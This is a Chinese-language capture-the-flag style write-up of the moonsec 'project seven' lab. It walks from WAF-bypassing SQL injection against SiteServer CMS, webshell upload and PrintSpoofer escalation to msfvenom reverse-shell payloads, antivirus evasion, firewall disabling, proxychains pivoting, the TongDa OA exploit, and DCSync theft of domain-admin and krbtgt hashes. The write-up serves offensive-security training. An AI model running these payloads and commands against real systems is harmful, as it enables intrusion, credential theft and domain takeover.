moonsec项目七靶场实战
环境配置
本机ip:192.168.2.161
web
自带iis安全狗、服务器安全狗、windows defender
外网ip:192.168.2.114(桥接)
内网ip:10.10.1.131(VMnet18)
oa
自带360全家桶
内网ip1:10.10.1.130(VMnet18)
内网ip2:10.10.10.166(VMnet19)
dc
内网ip:10.10.10.165(VMnet19)
web机器和本机不能够ping通,但是本机能够访问web机器服务,因为防火墙原因阻断,这里为正常情况
oa系统处能ping通dc,ping不通web,同样为防火墙阻断,正常情况
从web机器访问一下oa系统可以访问
masscan namp扫描带防火墙的主机
用arp探测工具netdiscover
先扫描192.168.2.0段
1 | masscan -p 1-65535 192.168.2.114 –-rate=100 //--rate参数为线程 |
进行host域名绑定
访问后传参进去可以看到有安全狗
Nmap对对应端口进行扫描
美化nmap扫描报告
准备mode.xsl
链接:https://pan.baidu.com/s/1SpRrCfL7u_OWkx1CkJe8LQ 提取码:lhmx
1 | xsltproc -o attack.html mode.xsl attack-ports.xml |
编写目录扫描工具绕过防火墙CC拦截
看下web机器上的安全狗的防护日志
打开护卫神的web防火墙(抗CC)功能
我这里用御剑去扫描后台发现扫描不到
回到web容器上发现已经被拦截
编写dir_safedog.py
脚本
完整代码如下:
1 |
|
找到登录入口
修改siteserver poc得到注入点
寻找对应版本的exp
https://github.com/w-digital-scanner/w9scan/tree/master/plugins/siteserver
这里对应版本为2739.py
对原始代码进行修改
1 | #!/usr/bin/evn python |
运行siteserver.py
,得到如下payload可以利用
复制payload得出数据库版本
1 | http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20-- |
绕过iis安全狗进行注入
直接报数据库名拦截
1 | http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20db_name()=2;%20-- |
1 | 这里用到C语言的一个~符号,按位取反 |
使用按位取反即可绕过
1 | http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20db_name()=~2;%20-- |
本地搭建siteserver并连接sql server数据库
找到Administrator选择显示前1000行
这里的sql语句应该为
1 | SELECT TOP 1000 [UserName],[Password],[PasswordFormat],[PasswordSalt],[CreationDate],[LastActivityDate],[LastModuleID],[CountOfLogin],[CreatorUserName],[IsChecked],[IsLockedOut],[PublishmentSystemID],[DepartmentID],[AreaID],[DisplayName],[Question],[Answer],[Email],[Mobile],[Theme],[Language] FROM bairong_Administrator; |
直接使用sql语句被拦截
1 | http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20db_name(select%20top%201%20username%20from%20bairong_Administrator)=~2;%20-- |
这里加上中括号也被拦截
1 | http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and (select top 1 username from [bairong_Administrator])=~1;%20-- |
把~1换位不拦截出现username:admin
1 | http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and ~1=(select top 1 username from [bairong_Administrator]);%20-- |
爆password:64Cic1ERUP9n2OzxuKl9Tw==
1 | http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and ~1=(select top 1 password from [bairong_Administrator]);%20-- |
爆加密类型:Encrypted
1 | http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and ~1=(select top 1 PasswordFormat from [bairong_Administrator]);%20-- |
爆盐值:LIywB/zHFDTuEA1LU53Opg==
1 | http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and ~1=(select top 1 PasswordSalt from [bairong_Administrator]);%20-- |
dnSpy 反编译dll查找加密解密方法
打开本地目录下的login.aspx
进行查看
发现这里调用了一个BaiRong.BackgroundPages
的dll
找到这个dll
拖入dnSpy
反编译找到Login模块
翻了一下没有什么加密模块,继续寻找
得到加密算法
C#编写siteserver密文解密工具
这里我直接跳过,用了师傅们的工具解密得密码为admin5566
密码找回漏洞和网站后台getshell
用户名为admin
密保问题处抓包并置空
Forward把包放过去即可得到密码
登入后台到站点模板管理
先上一个收藏的asp大马,然后被拦了
然后上了一个过墙马,过是过了但是没有回显,马还在返回不到数据
最终拿的冰蝎aspx大马成功getshell
Windows Server2016提权
**信息搜集 **
双网卡user权限
防护:安全狗、IIS安全狗、windows defender
利用PrintSpoofer
提权
https://github.com/itm4n/PrintSpoofer
1 | PrintSpoofer64.exe -i -c “whoami” |
msf shellcode 绕过windows defender
msf生成payload
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.161 LPORT=2333 -e x86/shikata_ga_nai -i 15 -f csharp -o payload.txt |
掩日shellcode加密下载:
https://github.com/1y0n/AV_Evasion_Tool/releases/tag/2.1
免杀处理之后上360发现已经不免杀了
这里换了一个cs的免杀马成功上线到cs
新建一个监听派生给msf
hashcat破解web服务器hash
getuid
和sysinfo
看一下基本情况
这里看到meterpreter为x86,需要进行进程迁移,ps看一下
我这里迁移到一个系统进程里
hashdump
抓一下hash
load mimikatz
,这里之前msf5的时候还有kerberos
这个命令,现在变了,help看一下
hashcat
配合rockyou.txt
字典破解hash
rockyou.txt
下载地址:https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
1 | hashcat -a 0 -m 1000 hash.txt rockyou.txt |
这里我操作的问题没有弄出来,后面有机会具体学习下hashcat的用法
跨网段横向渗透主机发现
拿到抓到的hash登录远程桌面
手动关掉windows defender
进行本机信息搜集
msf下ifconfig
发现为双网卡
arp
查看arp缓存
利用icmp
协议探测内网存活主机
1 | for /l %i in (1,1,255) do @ ping 10.1.1.%i -w 1 -n 1 | find /i "ttl=" |
这里不知道为什么没有探测到,换一个协议探测一下
利用arp协议进行扫描
1 | run arp_scanner -r 10.10.1.0/24 |
设置代理nmap对跨网段主机端口扫描
使用socks4a模块
配置proxychains.conf
添加10.10.1.0/24的路由
1 | run autoroute -s 10.10.1.0/24 |
用proxychain扫描一下10.10.1.0段主机的80端口
1 | proxychains nmap -sT -Pn 10.10.1.130 -p 80 |
用firefox访问80端口
1 | proxychains firefox http://10.10.1.130 |
proxychains配合nmap对常用端口进行扫描
1 | proxychains nmap -sT -Pn 10.10.1.130 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,12111,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open |
这里可以看到许多端口开放但是都显示timeout,只有一个80端口能够访问到,可以判断内网主机开了防火墙
通达oa上传漏洞getshell
使用tongda_shell.py
https://github.com/Al1ex/TongDa-RCE
1 | proxychains python3 tongda_shell.py http://10.10.1.130/ |
访问一下能够访问到
在蚁剑上设置代理
添加php测试连接成功
进入文件查看
对通达oa服务器进行信息搜集
上传shell后执行不了命令
这里可以用ipconfig > cmd.txt
命令查看
这里我为了方便上传一个php大马上去执行命令
火狐访问下
进入大马进行信息搜集
首先whoami
查看权限,system权限
首先看到DNS服务器为attack.local
初步判断有内网,后面看到了双网卡存在
查看一下开放的端口,跟之前nmap扫描的情况大致相同
tasklist /svc
对比下杀软情况发现有360全家桶
关闭oa系统自带防火墙
这里我在没有关闭firewall之前用nmap连接445端口是连接不到的
命令行关闭windows firewall
1 | netsh advfirewall set allprofiles state off |
关闭之后即可连接到445端口
msf正向木马过360全家桶
首先msf生成一个正向连接exe
1 | msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -f exe > abc.exe |
msf开启监听
上传文件到oa系统
运行即可成功弹回session
收集内网域的信息
ifconfig
可以看到是双网卡
migrate
进行进程迁移后使用hashdump
抓取hash
尝试使用mimikatz的msv
命令获取明文,这里可以看到明文没有抓出来
net time
定位域控
nltest /domain_trusts
定位域
net user /domain
查看域内用户
net group /domain
查看域内用户组
net localgroup administrators /domain
查看登陆过主机的管理员
net group "domain controllers" /domain
查看域控制器
运用msf内置模块定位域控
1 | run post/windows/gather/enum_domain |
查看登录的用户
1 | run post/windows/gather/enum_logged_on_users |
或者shell直接进入目录下查看
查看组信息
1 | run post/windows/gather/enum_ad_groups |
查看域的token
1 | run post/windows/gather/enum_domain_tokens |
跨网段使用proxychains配合nmap对域控进行端口扫描
这里ps
寻找一个域管的进程,我这里选择的是2568,然后使用steal_token 2568
提升为域管权限
然后就可以拿到一个域管的shell进程
这里我先exit退出一下用nmap对域控进行端口扫描
rev2self
清除当前权限,然后用run autoroute -s 10.10.10.0/24
添加一个路由表
使用proxychains配合nmap进行扫描,这里我扫描88、389都能够连接成功说明为域控
继续扫描一些常用端口
1 | proxychains nmap -sT -Pn 10.10.10.165 -p 80,88,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,12111,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open |
利用kiwi dcsync_ntlm获取域管理员hash
先加载mimikatz、kiwi,这里需要用到dcsync_ntlm
模块,这里没有迁移到域管进程,所以失败
steal_token 3196
迁移到域管进程,然后执行dcsync_ntlm administrator
获取域管hash
执行dcsync_ntlm krbtgt
获取krbtgt用户hash
使用exploit/windows/smb/psexec
进行hash传递
这里尝试了下直接用psexec
传递不过去
利用sockscap64设置代理登录域控
这里直接拿hash到cmd5官网进行解密得到密码为!@#QWEasd123.
先使用proxychain看登录得上去不
1 | proxychain rdesktop 10.10.10.165 |
这里报错是因为只有windows能够登录远程桌面
这里代理设置为socks4a连接域控
mstsc连接即可
dir
当前目录,type flag.txt
即可拿到flag